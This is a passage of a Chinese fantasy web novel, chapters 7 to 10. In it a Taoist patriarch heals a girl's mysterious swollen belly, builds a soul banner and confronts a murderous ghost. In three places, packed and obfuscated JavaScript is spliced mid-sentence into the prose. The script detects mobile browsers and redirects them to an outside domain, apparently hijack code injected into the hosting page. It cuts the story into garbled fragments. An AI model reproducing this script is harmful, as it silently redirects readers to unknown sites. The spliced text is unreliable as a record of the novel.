“我师祖说有人消耗灵魂在保护韩缨姐,她暂时没事。没人保护的,就会变成女孩那样,他过去看看。” 师祖也真是的,自己多大岁数自己不知道吗?去博物馆都得单独给他开一个展位,他能认识医院的路标吗? 迷路了怎么办? 丢了怎么办? 被人拐走怎么办? 直接拉进手术室嘎了腰子怎么办? 7. 鸡蛋灌饼那么大的生意 平时没什么人走的一个楼梯上,一个女孩正坐在台阶上哭。 段安洛走过去,蹲在她身边,“你没有求生的欲望。” 女孩被吓了一跳,慌忙擦了擦眼泪,“你是谁?你什么时候来的?” 段安洛拿出一块糖,“刚来的,吃糖吗?吃完就不哭了。” 女孩摇了摇头,看他的眼神写满了防备,仿佛看个人贩子,越好看的男人越不能信。 段安洛直接坐在楼梯上,剥了一块大白兔奶糖吃,“你快回去吧,再不回去就来不及了。” 女孩把脸一扭,冷静的说:“我不想活了,死就死呗。” 段安洛被逗笑了,小丫头跟个猫似的,还挺有脾气,“因为他们都不相信你?” 女孩眼睛红红的,一说就生气,“我没有怀孕,我也不知道为什么,他们都不相信我。” 段安洛的语气很平静,“我知道,你只是病了。” 简单的一句话,让女孩的眼里有了一丝神采,紧接着是更加的委屈,一个陌生人都相信她,为什么爸妈就是不相信她? 她已经很害怕了,已经不敢见人了,他们还要闹到学校去。 他们为什么一直这么逼她? 她喜欢什么都不可以,她想做什么都不行,甚至交朋友都要经过他们的允许,他们只会逼着她学习、学习、学习! 他们从不相信她说的话,他们只想看她的成绩单,能不能尊重她一次,哪怕一次也好! 她死了是不是一切都结束了? 只要她死了,他们就再也不能逼她了,他们再怎么闹她也不知道了。 死了就好了,赶紧死吧! 段安洛打断她的胡思乱想,“你不是寿终正寝,死了也走不了,只能看着你爸妈去学校找你老师闹,你想做什么都做不了。” “为什么啊?”女孩死水一般的情绪被这句话刺激得激动起来,眼泪刷刷往下掉,死都不能解决,她还能怎么办? 段安洛安慰她:“姑娘,我可以证明你的清白,我会治病。” 女孩陡然睁大眼睛,“真的?”然后又低下头,失望地说:“算了,有这一次,还会有下一次,他们从来都不信我。” “要不要跟我签个契约?我治好你现在的病,让你爸妈以后不再逼你,条件就是以后你赚钱了,一个月给我十块钱,给五十年。” 女孩目瞪口呆,这算什么契约? 一个月才十块钱,一杯奶茶钱而已,她现在就给得起。 “五年内,如果你再有事找我帮忙,一次加十块。五年后再找我,可就要看你的经济实力收费了。”段安洛抬手,“击掌为誓,你要是违约,会倒霉的。” 女孩犹豫了一下,在段安洛眼神注视下,缓缓抬起手,其实她没报什么希望,只是暂时没那么想死了。 击完掌,段安洛把她的魂魄固定了一下,“你去过西山吗?” “去过,我自己去爬过山。” 西山就在城西,海拔只有五百米,她心情不好的时候,就趁着爸妈不在家,偷偷去爬山,当天就能回来。 “看见一个庙?” “嗯。” “进去许了什么愿望?” 女孩抿着嘴,不好意思说。 段安洛站起身,不说也知道,无非是想改变她父母。 “你的愿望菩萨做不到,我能做。” 江源循着段安洛的气息找到他的时候,他正好从楼梯口出来,江源担心地问:“师祖,您怎么跑这儿来了?” 段安洛在小孩脑瓜摁了一下,“你师祖刚谈了一笔大~生意。” 江源捂着脑门,“多大?” 段安洛比划了一下,“目前来说,有鸡蛋灌饼那么大。” 江源想半天,都没明白鸡蛋灌饼那么大的生意有多大,倒是想吃鸡蛋灌饼了,加俩蛋、加酸辣土豆丝的那种。 段安洛直接去了急诊科,她父母正急得满头汗。 医生跟他们一样着急,昨天就检查过了,董佳曦的肚子里什么异常都没有,今天再做检查的意义不大,她爸妈还是催着做手术,打开之后什么都没有怎么办?再缝上吗? 董佳曦现在的体质太差了,还没有一点求生欲望,做手术的话她九成的几率下不来手术台,人就没了。 董佳曦她爸开始已经急了,“这么大的肚子你们什么都查不出来,还第一人民医院呢,是不是要给你们塞红包你们才重视?你们要多少?只要你说个数,我回去卖房!” 医生气得脸通红,“你胡说什么,我们是正规医院!不收红包!” 她妈妈情绪更激动,拉着医生的胳膊就要跪,“大夫,求求你们了,我闺女要是出事我也不想活了,我给你们跪下了,你们救救她!求求你们救救她!” 医护人员慌忙拉起她,“不是钱的事,是真的查不出病因,要不你们转院吧。” “我女儿等不了,她随时都会死,怎么转院?!” 做手术,会死。 不做手术,也会死。 两口子不想什么都不做,就这么看着女儿等死。 “试试吧,万一呢?万一能活呢?我们签免责协议,您尽力救她,这样行不行?” 段安洛扫了一眼这对夫妻的面相,一步一步缓缓走近,“既然这么在意她,为什么不相信她呢?” 在对方诧异的目光中,段安洛看着男人的眼睛,“你生在有山的地方,做的是有火的生意,村中六十七户人家,要么儿女双全,要么有一个儿子,就连你那两个不成器的哥哥,也都有儿子。只有你,全村混得最好的人,只有两个女儿。 你自以为被人看不起,自认为被人嘲笑绝户,把所有的希望都寄托在女儿身上,希望她们考上名牌大学,找到体面的工作,能为你争光。 她们没有自由,没有朋友,没有兴趣爱好,只有学习和成绩。 你大女儿受不了你们的掌控,早早离家出走,你眼看她翅膀硬了,掌控不了,就把所有的希望都压在小女儿的身上,望女成凤。 逼着她出类拔萃,逼着她给你们争来脸面。现在她快死了,你的脸上有光了吗?” 在场的人震惊得忘了反应,特别是女孩的父母,因为这个俊美的年轻人说的每一句话,都是真的。 他们明明不认识这个人。 段安洛又问女孩的妈妈,“你也是女性,你小时候也被父母轻视,你店里的生意却是靠你撑起来的,你为什么还觉得女孩不行?” 女人目光闪躲,不敢直视段安洛那双能看透人心的瞳孔。 她没生出儿子,村里的年轻人结婚,连铺床都不用她。 她打心底就觉得别人看不起她,连娘家亲戚跟她借钱都会说:你又没儿子,攒这么多钱有什么用? 她不是不疼孩子,她就想让她有出息,能让她在亲戚面前抬起头来。 在场的医护人员率先反应过来,“你是谁啊?你怎么上来的?” 段安洛从江源的口袋里掏出一张道士证,上面有红色的印章,这是小徒孙拼命考的,最低等的那一批。 玄学圈里的人能看懂等级,普通人看不懂,只知道是正规的道士,董佳曦的父母顿时对他俩肃然起敬。 “我女儿是被脏东西害了?” 段安洛把道士证还给江源,“反正没有把握,不如我先试试,不行你们再动手。” “你真的能救我闺女?多长时间能治好?”他想的是时间要是不长的话,可以试试,治不好再接着让医生做手术。 段安洛抬起一根手指。 “一个小时?” “一分钟。” 医生哭笑不得,“咱们这里是医院,你们这是搞封建迷信……” 话还没说完,手机响了,医生接了电话,那边的人不知道说了什么,医生震惊的看了段安洛一眼,随即改了口:“你们随意吧,出了事我们医院不负责,我们有监控的,到时候不能怪我们身上。” 段安洛挑了挑眉,抬头看着摄像头,淡定的伸出三根手指头。 现代人怎么说那话来着,OJBK?okk?总之没问题的,交给我吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694913|173409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 在院长办公室偷看的人:“……” 段安洛虚空抬手,压制住女孩体内翻腾的邪气之后,五指并拢,直接往外抓。 有了前两次吸收的经验,这一次他没有犹豫,直接把这些负面气息吸收进体内,修复虚弱的身体。 女孩的肚子在肉眼可见地变小,里面挣扎的邪气感觉到危险后想要破体而出,被段安洛用灵气碾碎了,吸收干净。 最后一道灵气唤醒沉睡的灵魂,“固魂安魄,醒!” 董佳曦在父母期待的目光中睁开眼,医生和护士比他们跑得还快,冲过来各种检查,直到确定没有危险了,这才松了口气,再看段安洛,眼神都变了。 特别是那个急诊科医生,想到院长对他说的话,总感觉哪里不对劲,他三观大概有三四级地震,没塌,但是晃得厉害。 董佳曦见到他爸妈第一句话就是:“爸,妈,你们相信我。” 两口子紧紧抓着她的手,“爸妈相信你,不是你的错。” 董佳曦看向不远处的段安洛,嘴角勉强勾起来,“谢谢。” 她爸胡乱抹了一把眼泪,“太感谢道长了,我给您转点香火钱吧。” 段安洛掏出手机,打开收款二维码,“看着给吧,不强求。” 女孩给过了,她爸妈非要给的,他也没有办法。虽然佛曰:富贵名利如满目空花,如果是劝他,那就算了。 他现在信道家说的顺其自然,他的本心不仅不想拒绝,还想多多益善。 “你这两个女儿有大气运,命理上来说,大气运的人容易招小人挡路,大女儿离家出走后你店里的生意是不是越来越不顺了?” 男人用力地点了点头,“是啊,生意确实不如从前了,您说的太对了!” 只要是生意人,关乎到钱,立马会被提起兴趣。 段安洛一本正经的把真话和假话掺在一起说:“那都是小人作祟,有些人见不得你们过得好,总拿你没儿子说事,以后要当断则断,谁说你女儿不好,你就骂谁,生意会越来越好。直白讲,他们挡你财路了。” 男人恍然大悟,竟然是这么回事。 他们出来做生意后,赚了钱,买了房子买了车,每次回老家都被人拿女儿说事。其实那些人说话他也不爱听,可是都说,也难免受影响。 本来他扫码之后想给转两千,立马给改成了三千。这个大师太厉害了,今天结个善缘,以后还能请他去店里看看风水,没准生意越做越好了呢? 段安洛看着数字眯了眯眼睛,“相信你女儿,以后你们会孙儿绕膝,安享晚年,全村都羡慕你们的好日子。 再继续被小人左右,你们会逼死她,你大女儿也会恨死你们,以后你们老了只能住桥洞,死了都没人收尸。” 男人赶紧把3成5,直接给段安洛转了五千块钱,“谢谢大师,我记住了!以后我再也不乱想了,谁再笑话我没儿子,我就跟他家断亲!” 段安洛看着到账记录,美滋滋地对董佳曦挥了挥手,该说的他都说了,以后的日子看她自己了。 董佳曦以为段安洛在提醒她契约的事,郑重地点了点头,放心吧,她不会赖账的。 段安洛手指头上还留下一个小蝌蚪大小的邪气,这些东西都是被邪物掌控,塞进普通人的身体里的。 这世道,还是麻绳专找细处断,厄运专找苦命人。 这东西折磨这些苦命人就是为了吸收他们痛苦的情绪,以滋养自身。 现在猎物没了,邪物是有感应的。 段安洛晃了晃手指头,“出来聊聊?” 阴冷怨毒的声音好似来自地狱,“又是你!杀我的孩子!” 段安洛:“玩弄别人的生命和情感,好玩吗?” “你懂什么?他们都该死!所有人都该死!这是他们犯下的罪!” “头上多扎几个揪,就把自己当菩萨了,疙瘩多的不一定是菩萨,还可能是洋姜。”段安洛嫌弃的把手上的邪气掐死,拉着小徒孙的衣角擦手,血腥气太重了,他吸了那么多,他不干净了。 8. 你师祖是邪修吧? 江源往前凑了凑,让师祖尽情擦。 段安洛越看小徒孙越顺眼,看看,多孝顺。 “师祖赚钱了,给你发零花钱。”段安洛大方的给孩子转了两千,“中午咱们去吃火锅吧。” 他最喜欢科技与狠活了,好吃,爱吃。 江源被幸福砸蒙了,师父走后,再也没有人给他发零花钱,师父活着的时候也没给过这么多。 江源忍不住红了眼眶,天知道他多么羡慕有长辈的同行,每次完成任务,看着他们回家的背影,他都羡慕的想哭。 段安洛揉揉小孩的头,“小傻子,以后你也有人护着了,看谁不顺眼就干谁,师祖给你撑腰。” 江源慌忙擦擦眼泪,“师祖,您这样宠我,我会学坏的。” 段安洛安慰他:“好孩子,不会的,你敢学坏我就弄死你,师祖会清理门户的。” 幸福的眼泪戛然而止,江源浑身一紧,所有的感动都被腰斩。 段安洛看孩子不哭了,很满意,这不就哄好了吗? 早就说了,他哄孩子特专业。 “叫上小裤衩,先去吃饭,下午再看他姐。” 江源一愣,“小裤衩?” “对啊,你那个朋友,喜欢倒立劈叉旋转撒尿还不爱穿裤衩那个。” 此时的院长办公室里,有两个人正在看监控,从段安洛出手救人,一直看到段安洛离开医院。 院长问:“老秦,你怎么看?” 被叫老秦的中年人佩服地说:“灵力控制能力,无人能及。” …… 韩臻把他姐姐送上车,看着她们走出去好远,这才来找段安洛。 他都安排好了,中午请太爷爷去吃饭,下午直接把太爷爷拐回家,给他姐看看。 听江源说太爷爷想吃火锅,韩臻立马就顺杆爬,“我家附近有一家火锅店,特别好吃,我爸跟老板认识,我让他给咱们留个包间。” 段安洛跟着就走了,挺好,又省了一顿饭钱。 就是这小车有点挤,还没有空调,没有小穆子的车好。 在去的路上,段安洛慢慢消化刚吸收到的邪气,零星的画面随着吸收不断的在眼前出现。 “又是个女孩?不是说她生过儿子吗?怎么打下来五个都是赔钱货?” “把这个也打掉吧,再生不出儿子,就把她送回去。” “赶紧吃吧,养好身体,赶紧给老爷生个儿子,你的租期可快到了,要是生下儿子,还可能留在府里做个姨娘,总比你跟那个穷书生强。” “不吃?来人,给她灌下去!” 悲痛、窒息,绝望的情绪浓郁的像粘稠的墨,晕染在每一个角落里。 画面一转,女人被绑在床上,双目无神,脸颊消瘦,高高隆起的腹部格外扎眼。 老妇人一边给她喂饭,一边劝她:“你说你,这又是何苦呢?老爷找大夫看过了,你肚子里是个少爷,老爷和夫人看重你这一胎,连我们做下人的都涨了月例。你好好吃饭,把孩子生下来,真想走的话,老爷还能多给你些银子。” 女人张了张嘴,缓缓道:“吴妈,你给我松开吧,我想开了。” 老妇人高兴的放下碗,“你能想开就好,天天这么绑着,多受点罪啊。” 画面又一转,收银子的书生挡在门口,“你别连累我,赶紧走!” 女人红着眼,消瘦的手死死抓住门框,“孩子呢?你把他也卖了?” 书生想把她推出去,又怕力气大了,伤了她肚子里的孩子,这可是黄老爷的种,他赔不起。 书生嫌恶的瞪了她一眼,“我儿子在药铺当学徒呢,你赶紧回去吧,别给我们丢人!” “我给你们丢人?”女人悲愤交加,“你把我卖了!你还嫌我丢人!你这个畜牲!” “什么叫把你卖了?这叫租!”书生气愤的指责女人,“人家租你给他生个儿子,生完就放你回来,你现在过的不好吗? 你吃得饱穿的暖,不用下地干活,下人像伺候奶奶一样伺候你,你有什么可闹的?你就是身在福中不知福!” 女人怎么也想不到,她的丈夫能说出这样的话,“当初你说会对我好,我连爹娘都不要了,我跟你走,你为什么要这么对我?” 男人生气的指责她:“为什么?还能为什么?因为你傻啊! 我请你吃碗面你就跟我跑了,你爹娘不同意你竟然跟你爹娘断绝关系,让我一点钱都拿不到,继续过这种苦日子! 没钱我用什么读书?没钱我怎么打点关系?我的人生就是被你给毁了! 你现在有点用了,竟然不想办法多赚点钱给我和儿子用,你还跑,你能不能懂点事啊!” 最后一点希望被扼杀,女人疯了一样冲过去,掐住男人的脖子,“我要杀了你!你这个畜牲!” 书生没好气的推开她,女人太瘦了,肚子又大,一个踉跄坐在地上,捂着肚子,脸色惨白。 书生正害怕的时候,黄家的人追来,书生好似见到了救星,“快把她带走吧,等她生下孩子,我再好好教育她!” 被抓回去的女人跪在佛堂前,阴狠的对着一座黄铜的菩萨雕像许愿:“菩萨保佑,让他死!让他们都死!” 段安洛深吸一口气,闭上眼,缓和自己的情绪。 自古以来,女人婚后所有的不幸,都被淡化为:她只是为爱情吃点苦。 而男人的不忠,则会被当成风流韵事,成为酒后谈资,甚至是炫耀的资本。不管是自己还是世人,会找到千万种理由为他开脱。 哪怕利用女人后功成名就,别人都会为他歌颂一句:大丈夫,不拘小节! 这种人可真该死啊。 他睁开眼,情绪已经稳定,眼前的画面依旧在继续,“老爷和夫人说保孩子,大人无所谓。” 吴妈把那蹲女人常拜的菩萨偷偷塞进女人手里,只有十几公分,攥在手里正合适。 “菩萨保佑,一定要母子平安!你不能放弃,你要活下去!” 可惜,伴随着婴儿嘹亮的啼哭声,吴妈崩溃的喊:“大人不行了,老爷!夫人!快救救她!” 得到的回复却是一句无情的:“赶紧卷了草席,拉去后山埋了吧。” 吴妈还想争取一下,“还有气呢,她还没死。” 夫人抱着孩子,嫌恶地挑了挑秀气的眉,“也活不了了,大喜的日子,死在府里晦气。多给她丈夫十两银子,算是补偿。” 整个黄府喜气洋洋,还没断气的女人却被匆匆卷了草席,用平板车拉到山里,一路上血迹滴滴答答,像血红的珠子,撒出一条长长的,蜿蜒曲折的长线,一眼望不到头。 就连女人手里的菩萨,都被染成了红色。 因为没有断气,两个下人也不敢把她活埋了,“你自求多福吧,我们也是听老爷和夫人的,你别怪我们。” 她的结局早已注定,黄老爷只想要个孩子,黄夫人不可能让孩子的亲娘活着。 她只有一条路:死。 下人们走了,山间阴风阵阵,伴着狼嚎,只有满含恨意绝望等死的女人,和她手里浴血的菩萨雕塑。 …… 这些画面让段安洛心情不怎么好,吃饭的时候没有说话的欲望,俩小孩对视一眼,都识相的不敢多话。 直到快吃饱的时候,段安洛才问韩臻:“附近有没有卖布的?” 韩臻紧张的说:“有。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694914|173409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>段安落点点头,“吃完饭去买块布。” “您要裁衣服?” “我要做个噬魂幡。” 韩臻差点喷了,小心翼翼的问江源,“你太爷爷是邪修吧?” 江源不满的瞪他,“你才是邪修,你全家都是邪修。” 韩臻已经憋不住了,他本来就话多,“我看电视上演过,魂幡上面写上别人的生辰八字,绑上头发,沾上血液什么的,在千里之外,就能取人性命。噬魂幡还需要持有者用精血喂养,过度使用还会遭反噬呢,简直是邪修的标配。” 江源跟他解释:“你也说那是电视上演的,玄门的魂幡只是在除魔时收取恶鬼的魂魄,就跟《封神演义》里那个清虚道德真君的‘混元幡’差不多。现在公会有规定,明令禁止炼生魂为法器,诅咒人是犯法的。” 原来是这么回事,韩臻悄悄松了一口气。 段安洛又认真的补充了一句:“我觉得有些东西杀孽太重,直接弄死它太便宜了,我想把它炼了。” 韩臻咧了咧嘴,看吧!就是邪修! 真他妈帅啊! 他就喜欢邪魔歪道! 电视上都是这么演的,干坏事的大都是名门正派,整个正道只有主角一个大侠,其余的十个人里有八个是伪君子。 段安洛发现韩臻看自己的眼神变得亮晶晶的,就差摇尾巴了,他也没多想,毕竟能跟自家小废物一起玩的孩子,智商也高不到哪里去。 “源儿,你总说公会,你加了什么组织?” 江源解释:“您放心,是合法的。灵气复苏之后,总有怪事发生,一开始的时候我们就是以拯救苍生为己任,哪里出事去哪里。很多时候都是这个地方去了好几个人,那个地方没人去,耽误了救人。 后来玄学圈里几位德高望重的老前辈出面,组成了一个公会,给大家分了组。 发现灵异事件后调查组去调查,战斗组去解决,后勤组去做净化。 会玄学的人特别少,有了统一调配就不会再出现那样的情况了。 后来加入的人越来越多,为了方便管理,又成立了很多分会。 为了不引起恐慌,我们有的伪装成保安公司,有的伪装成快递公司,有的伪装成精神病院,还有的伪装成灵异侦探社,反正五花八门,叫什么的都有。” 韩臻听得认真,“别的我都可以理解,精神病院就有点……” 江源不满,“这有什么?还有死道友不死贫道之爱国者联盟,秃驴誓死报国协会,人间正道是沧桑之祖国万岁帮,我们都很爱国的,誓死守护华夏。” 韩臻佩服的说:“怪不得你放了学就到处跑,你的钱也是公会发的?” “嗯嗯,很多大老板给我们捐钱的,完成任务公会就给我们发钱,根据困难程度,发的钱也不一样。”江源不好意思的挠了挠头,他是最低等的,有时候只给几百块钱。 不过他已经很满足了,他能力不够,很多时候都是队友看他小,家里又没人,单纯地带着他蹭车队。 韩臻还想追根究底,“富商为什么给你们捐款?” 江源摇摇头,“不知道啊,哎呀!公会有规定,这些不能告诉普通人,会引起恐慌。” 怎么办,把韩臻打晕,还来得及吗? 段安洛默默吃饭,小憨货的脑子永远追不上嘴。 吃完饭,买了布,韩臻带着段安洛去见他姐姐。 上午情绪消耗的太厉害,韩缨已经睡着了,段安洛让人不要叫醒她,快速把她身上的邪气拔除干净。 然后他说了一句让人摸不着头脑的话,“你还不走吗?” 略微停顿后他点了一下头,“晚上来找我,我送你一程。” 9. 你,认罪吗? 回去的路上,韩臻一直欲言又止,快到玄门的时候,韩臻忍不住问:“我姐夫真的在我姐身边吗?” 段安洛没有正面回答他,“你害怕吗?” 韩臻想也没想就摇头,“不害怕,他是我的家人,我怕什么?” 他想到在网上看到的一句话:你所害怕的鬼,是别人朝思暮想想要见到的人。 他就是心疼姐姐和姐夫,姐夫死了都在保护姐姐,他姐要是知道了,可能这辈子都走不出来。 段安洛安慰他:“晚上让你们见一面,他的魂魄太弱了,现在不能出来。” 韩臻突然紧张,他能看到死去的人,他不会是小说里的主角吧? 难道这就是他人生的转折点? 他会以此为契机,被太爷爷发现天赋惊人,自此拜太爷爷为师,高了江源七八个辈分,然后带着江源这个死党兼炮灰男配,从此走上龙傲天的巅峰路? 说不定哪天江源就被人害了,他还要效仿孙大圣去地府捞人。 江源:韩哥,已挂,捞捞! 他:哥来了!以后要叫我太爷! 这不就牛逼了吗? 韩臻激动的看段安洛,“太爷爷,我想……” “你在想屁吃。”段安洛面无表情,还是那句话,能跟他家小废物一起玩这么多年的,能是什么大聪明? 下午段安洛一直在做魂幡,吸收韩缨身上的邪气之后,他又看到一些画面,这让他的脸色越来越冷,身上甚至冒杀气。 两小孩不敢打扰他,一起把大厅收拾干净,他们还在网上买了一些神牌,买了钉子,等到货之后全挂墙上。 因为段安洛说财神在中间,听意思是放在C位,江源特别给买了个大牌子,周围还带蕾丝花边呢。 段安洛为了携带方便,把魂幡做成伞状,用朱砂在上面画了符文,这东西要不断炼化才能产生灵性,时间久了才能成为法器。 可惜他以前用的噬魂幡被毁了,上古凶神果然不是那么好杀的,他到现在一动法力,灵魂上的伤还是钻心的疼,只能慢慢恢复。 傍晚时分,段安洛开始布阵,不想多动用法力,只能借力。 江源拿着个本子,跟在后面学,“师祖,她真的会来吗?咱们不用去西山庙里看看吗?” 段安洛手上的动作不停,“你能背我上去吗?” 江源想了想,“不能。” 很显然,他师祖现在的体质,自己肯定爬不上去的,师祖走两步就喘。 他自己爬上去还是可以的,虽然他学习成绩不好,个子也不高,但是体育还行,从小练的童子功,还会几套拳脚。但是背着师祖爬山,有点费劲。 江源心想,肯定是自己修行不够,他要努力了,以后能背着师祖在山上飞奔。 “那座庙已经没什么用了,封印已开,它早就逃出去了。它想不想来都无所谓,我让它来,它就必须来。” 段安洛把那一缕邪气放在阵法中央,这是从对方身上的分离出来,噬魂幡虽然没有电视上演的那么邪乎,招魂的能力还是有的。 今晚,它必须死。 江源严阵以待,“我会挡在您前面。” 段安洛拍拍小孩的肩膀,哄他:“乖孙,现在买棺材挺贵的,你不要寻死。” 江源要哭了,他一定会努力努力再努力!使劲修行! 天一黑,段安洛吃了点东西,自顾自的睡觉去了。 江源不敢睡,在列祖列宗的牌位下面打坐,坐着坐着就睡着了。 一直到了午夜时分,熟睡的段安洛缓缓睁开眼,时间到了。 客厅里,魂幡无风自动,下面的那一簇邪气像燃烧的蜡烛,忽明忽灭。 它想走,却被魂幡照住,死死的控在魂幡之下。 轻掩的木头门发出吱嘎吱嘎的声响,阴风卷着雨水浸湿地面后混杂的土味,从门缝里灌进来。 段安洛缓步走到八仙桌旁的太师椅旁,慢条斯理的坐下,“既然来了,进来赴死吧。” 咣啷一声,一阵阴风猛的吹进来,勉强修好的房门再次砸到地面上。坐着睡着的江源被风吹得趴在地上,一下子就醒了。 段安洛不满的蹙了蹙眉,他家孩子还长个儿呢,竟敢不让他睡觉! 一个穿着红色旗袍的女人,脚下踏着黑色莲花,踏过门槛,怨毒的看着段安洛,“我本不想跟你对上,你偏要我来,既然你活腻了,我帮你一把。” 赫然就是被丈夫租出去的苦命女人。 段安洛看着她身上的气息,缓缓的点头,“怪不得你孩子长那么丑,随你了,满头疙瘩,还黢黑。” “你找死!”女人身上的煞气翻涌,像锋利的刀锋,大厅内为数不多的东西都都被刮的哗啦作响。 “你和那些臭道士一样,不分青红皂白就要杀我,明明该死的是他们,我只是报仇而已!” 段安洛手指轻抬,之前布下的困阵瞬间启动,整间屋子用灵气形成透明的牢笼。 女鬼嘲讽的问:“你以为这种东西就能困住我吗?做梦。” 段安洛托着下巴,懒洋洋的打了个哈欠,刚睡醒,眼尾泛红,连那个红痣都比平时艳了几分,“你确定那些经历是你的吗?你要不要再好好回忆一下?” 女鬼步步逼近,脚底下踩出一串血脚印,步步生莲,莲花啼血,怨气腐蚀地面,发出阵阵腥臭味,“你个臭道士,我要撕烂你的嘴!” 她家里做布匹生意,算不上富商,却也吃喝不愁,攒下十几间铺子的家产。她偷跑出来玩,迷了路,好心的书生请她吃了一碗面,把她送回家,从此结下了孽缘。 当时她怎么就瞎了眼,觉得他和别人不一样,怎么就被他迷惑,非他不嫁? 爹娘不同意,她离家出走,跟他跑了。 婚后的第一年,丈夫对她还是很好的,慢慢的,对他越来越不上心,越来越苛刻。 在家十几年,她十指不沾阳春水,在夫家却有干不完的活。 后来,丈夫对她非打即骂,她受不了跑回娘家,才知道在她走后半年,娘亲因为太过担忧,一病不起,没多久就撒手人寰。 爹气急了,嫌她丢人,不要她了。 弟弟恨她气死了娘,也不让她进门。 自那之后,丈夫对她越来越不好。 她恨,为什么爹不要她?如果让她回家,她就不会被丈夫卖掉。 她恨,为什么丈夫要这样对她?她不在乎他的出身,不在乎他穷,舍了富裕的生活跟他过苦日子,他却害死她。 她恨黄老爷和他的夫人,黄夫人不能生孩子,为什么要租她来生?她怀了一个又一个,大夫确定是女孩之后都给她灌药打掉,六个孩子她只生下来一个,最后把她扔到山里等死。 她恨那个大夫,为什么要告诉黄老爷她怀的是女孩?他不说她们就不会死。 她恨那两个把她扔在山里的人! 她恨所有人! 他们都该死! 是菩萨看她可怜,保住她的魂魄,赐予她法力,让她去报仇。她做的一切都是菩萨允许的,都是对的,错的是他们! 那个女人为什么那么命好?她有疼爱她的父母公婆,爱她如命的丈夫,她该死!她活该成为她孩子的容器! 那个傻小子也该死,那么小心的护着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694915|173409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的姐姐,她死的时候,她的弟弟都没来救她,他也该死! 那个女孩更该死,享受着现代的一切,还天天不高兴,她有什么不高兴的?该死! 还有眼前这个人,次次坏她好事,该死! 女鬼眼睛染上了血色,指甲直接变长,刚想动手,迎面泼过来一碗朱砂,朱砂镇邪,身上的旗袍被腐蚀出一个大洞。 江源动手了。 女鬼一动不动的看着冒黑烟的衣服,这是她杀了别的女鬼抢来的,是目前她最喜欢的一件衣服! 江源以为见效了,拿起小破桃木剑就上去捅咕。 一剑戳女鬼脖子上,没戳动。 再戳,再再戳……还是没戳动。 反应慢的江掌门这才感觉不对劲,还没来得及和女鬼拉开距离,就和女鬼血红色的眼睛对视上了。 江源眼珠子一瞪,拔腿就跑,“师祖救我!” 女鬼紧贴上去,猩红的指甲直戳江源后脑勺。 段安洛心累的抬手一挥,用灵气在俩人中间做出一个屏障,女鬼撞在灵气上,疼得龇牙咧嘴。 江源躲到段安洛身后,吓得小脸煞白,这女鬼,太凶了! 女鬼疯狂的撞击屏障,眼睛直勾勾的瞪着他俩,眼里流出血泪,狰狞的咧着嘴,把他俩撕烂,才能解心头之恨。 江源越看越心惊,躲在段安洛身后,拿着桃木剑的手一直抖,“师祖,她的等级一直在上升,按照公会的等级划分,这都属于A级的厉鬼了,要不我摇人吧。” 段安洛嫌弃的皱眉,“打不过就咬?她这样你都敢下嘴?乖孙,你是不是太饿了?” “不是,我不是那个意思,是摇人,不是咬人!”江源一边解释一边跺脚,代沟太大了! 段安洛懒得听,把他推到结界外面去,大人打架,小孩别掺和。 一道灵气托起噬魂幡,另一道灵气在手中凝结成三米的长鞭,“所以你为了复仇,杀了你丈夫,杀了黄老爷主仆上下四十多口人,包括平时对你好的老仆吴妈? 杀了自己全家上下二十三口,甚至连你襁褓中的侄女都没放过? 就连看你可怜,为你收尸的猎户都杀了,他们都该死吗?” 段安洛坐在太师椅上,长鞭一抖,鞭尾精准的勾住女鬼的脖子,长鞭一扬,女鬼被狠狠砸在地上。 紧接着灵气下压,无形中一只大手,摁住女鬼的头,对着段安洛的方向,重重的压下去——一磕到底。 段安洛依旧坐着,甚至还是一贯慵懒的姿势,他垂眸,居高临下的看着她,“你根本就不是她,她到死,恨的只是丈夫和黄老爷,挂念的是她的孩子,对爹娘兄弟只有愧疚。你是那坨染血的铜疙瘩,吸收了她临死前的怨气,打着报仇的名义滥杀无辜,那个庙,就是当年镇压你的庙!” 当年那个道士能力不够,毁不掉它,只能镇压在庙里,慢慢消耗它的煞气。 只是经过时间的推移,庙年久失修,已经没什么人去上香了。 这几年灵气复苏,诡异活跃,这东西不知道是能力增强后冲破封印,还是封印坏了,又跑了出来。 害人的理由还是那么搞笑。 段安洛眸色清冷,垂眸看着跪在脚下的邪物,“你,认罪吗?” “呵呵呵呵……哈哈哈哈……认罪?我为什么要认罪?” 煞气在结界内冲撞,灵气护罩上出现不少裂纹,好像随时都会碎掉。女鬼眼睛充血,理智已经被煞气吞噬,只剩下杀戮的本能,“他们就是该死!全都该死!你更该死!” 段安洛点了点头,根据他以前的经验,不认罪只有一种原因:挨得揍不够。 10. 